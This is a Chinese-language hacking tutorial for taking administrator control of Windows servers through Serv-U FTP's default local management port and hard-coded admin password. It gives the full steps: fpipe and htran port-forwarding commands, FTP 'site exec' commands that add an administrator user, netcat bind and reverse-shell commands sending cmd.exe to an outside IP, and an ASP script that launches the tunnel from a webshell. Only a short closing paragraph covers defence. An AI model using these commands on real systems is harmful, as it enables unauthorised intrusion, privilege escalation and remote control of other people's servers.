原理:Serv-u默認(rèn)監(jiān)聽127.0.0.1:43958,在本機(jī)才能連接這個管理端口,Serv-u默認(rèn)管理賬號是LocalAdministrator,默認(rèn)密碼是"#l@$ak#.lk;0@P",這個密碼是固定的。在目標(biāo)機(jī)器上運行fpipe -v -l 12345 -r 43958 127.0.0.1,然后在你自己的機(jī)器,用"Serv-u administrator"新建SERVER。
目標(biāo)IP:12345 ;User:LocalAdministrator ;Pass:l@$ak#.lk;0@P
那么目標(biāo)機(jī)器的Serv-u就歸你管了。
利用的前提:要有目標(biāo)機(jī)器的普通權(quán)限的SHELL,不需要能終端或物理控制臺登錄,只要有個shell,能運行端口數(shù)據(jù)轉(zhuǎn)發(fā)的程序就可以了
如何得到一個shell:sql注射得到webshell或者直接利用動網(wǎng)7.0 sp2以下的上傳漏洞上傳webshell
具體實施方法:
1.利用得到的webshell上傳轉(zhuǎn)向程序fpipe,然后執(zhí)行fpipe -v -l 12345 -r 43958 127.0.0.1
2 .在你自己的機(jī)器,用"Serv-u administrator"新建SERVER,依次填入
ip:目標(biāo)IP
端口:12345
User:LocalAdministrator
Pass:#l@$ak#.lk;0@P
現(xiàn)在你就可以管理這臺服務(wù)器的Serv-u了,新建一個賬號,權(quán)限為系統(tǒng)管理員(system administrator),并在"目錄訪問(Dir access)"選項中給予"執(zhí)行"權(quán)限(execute).
3. ftp連接,然后執(zhí)行quote site exec net user iisuser password /add
添加一個用戶名為iisuser密碼為password的用戶,加到管理員組 quote site exec net localgroup administrators iisuser /add,現(xiàn)在就可以連接終端并登錄了。
當(dāng)然也可以進(jìn)行別的操作,例如上傳一個nc.exe,在目標(biāo)機(jī)器上得到一個管理員權(quán)限的shell,可以正向連接,也可以反向連接。
正向連接:連上ftp以后執(zhí)行 quote site exec nc.exe -l -p 23 -t -e cmd.exe
這時目標(biāo)主機(jī)就成了一臺telnet服務(wù)器,你可以telnet上目標(biāo)服務(wù)器的23端口。
反向連接:假設(shè)你的IP是202.96.209.168
1.先在自己的機(jī)器上運行(你要有一個外部IP):nc -vv -lp 99
2.在目標(biāo)機(jī)器上運行 nc -e cmd.exe 202.96.209.168 99
在你的機(jī)器上就會得到一個目標(biāo)機(jī)器的具有管理員權(quán)限的shell。如果對方進(jìn)行了端口過濾或者設(shè)置了防火墻的保護(hù)(這種保護(hù)不限制反彈連接,如果限制的話就要換別的方法呢),可以用TCP SOCKET轉(zhuǎn)發(fā)來實現(xiàn)。
打個比方,我的機(jī)器為A ,我要測試的機(jī)器為 B[不允許正面連接] ,我已經(jīng)在B上得到呢一個SHELL[只要guest的就行呢] 。我們可以這樣連上對方的43958——
I:我在本地監(jiān)聽二個端口23和56
23是等待B來連接的~
56是等待我來連接的~
II:B連接我監(jiān)聽的23,同時轉(zhuǎn)發(fā)到本地的43958
這樣管道就建好呢~對方的防火墻就拿我們沒有辦法呢~
此時在本地運行SERV-U新建一個SERVER,IP填上本地的127.0.0.1端口為56,用戶名LocalAdministrator,密碼#l@$ak#.lk;0@P
具體實施方法:假設(shè)你的IP是 202.96.209.168
1.在你自己的機(jī)器上運行 htran.exe -listen 23 56
2.此時在本地運行SERV-U新建一個SERVER,IP填上本地的127.0.0.1端口為56,用戶名LocalAdministrator,密碼#l@$ak#.lk;0@P
3.在目標(biāo)機(jī)器上運行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23
如果不能在webshell下直接運行,可以寫一個asp腳本來執(zhí)行,內(nèi)容如下
connect.asp
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
oScript.Run (server.mappath("htran")&" -slave 127.0.0.1 43958 202.96.209.168 23 ")
%>
執(zhí)行http://目標(biāo)網(wǎng)址/connect.asp,如果出來一片空白,沒提示什么錯誤,現(xiàn)在你應(yīng)該可以管理目標(biāo)服務(wù)器的Serv-u了。余下的事情就看您自由發(fā)揮了。
防止方法:
自己給Serv-u打補(bǔ)丁,改變默認(rèn)端口及管理密碼。改密碼要修改ServUAdmin.exe,ServUDaemon.exe這兩個文件,改端口只要在ServUDaemon.ini文件[GLOBAL]選項中加入LocalSetupPortNo=12345即可。很遺憾,在Serv-u的最新版本Serv-u 5.2.0.0中依然沒有任何改變,默認(rèn)的管理端口及密碼還是原來的。